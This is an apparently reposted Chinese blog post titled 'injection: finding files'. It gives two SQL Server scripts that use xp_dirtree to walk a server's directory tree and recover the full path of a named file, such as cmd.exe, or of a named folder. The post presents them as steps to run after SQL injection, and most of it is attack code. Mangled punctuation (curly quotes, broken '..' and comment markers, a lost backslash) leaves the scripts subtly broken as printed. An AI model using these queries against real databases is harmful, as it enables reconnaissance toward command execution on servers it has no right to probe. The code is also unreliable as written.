注入找文件

最新推荐文章于 2024-10-01 13:00:00 发布

原创最新推荐文章于 2024-10-01 13:00:00 发布 · 122 阅读

0 ·

本内容遵循CC 4.0 BY-SA版权协议

标签

#原帖 #注入 #找文件

博客提供了SQL查找文件和目录的语句。查找文件时，先创建临时表，设置根目录和要查找的文件名，通过一系列操作定位文件路径；查找目录时，同样创建临时表，设置根目录和要查找的目录名，最终获取目录路径。

查找文件的语句

CODE:

drop table tmp;
create table tmp
(
[id] [int] IDENTITY (1,1) NOT NULL,
[name] [nvarchar] (300) NOT NULL,
[depth] [int] NOT NULL,
[isfile] [nvarchar] (50) NULL
);

declare @id int, @depth int, @root nvarchar(300), @name nvarchar(300)
set @root=‘f:\usr’ – Start root
set @name=‘cmd.exe’ – Find file
insert into tmp exec master…xp_dirtree @root,0,1–
set @id=(select top 1 id from tmp where isfile=1 and name=@name)
set @depth=(select top 1 depth from tmp where isfile=1 and name=@name)
while @depth<>1
begin
set @id=(select top 1 id from tmp where isfile=0 and id<@id and depth=(@depth-1) order by id desc)
set @depth=(select depth from tmp where id=@id)
set @name=(select name from tmp where id=@id)+’’+@name
end
update tmp set name=@root+@name where id=1
select name from tmp where id=1

查找目录的语句

CODE:

drop table tmp;
create table tmp
(
[id] [int] IDENTITY (1,1) NOT NULL,
[name] [nvarchar] (300) NOT NULL,
[depth] [int] NOT NULL
);

declare @id int, @depth int, @root nvarchar(300), @name nvarchar(300)
set @root=‘f:\usr’ – Start root
set @name=‘donggeer’ – directory to find
insert into tmp exec master…xp_dirtree @root,0,0
set @id=(select top 1 id from tmp where name=@name)
set @depth=(select top 1 depth from tmp where name=@name)
while @depth<>1
begin
set @id=(select top 1 id from tmp where id<@id and depth=(@depth-1) order by id desc)
set @depth=(select depth from tmp where id=@id)
set @name=(select name from tmp where id=@id)+’’+@name
end update tmp set name=@root+@name where id=1
select name from tmp where id=1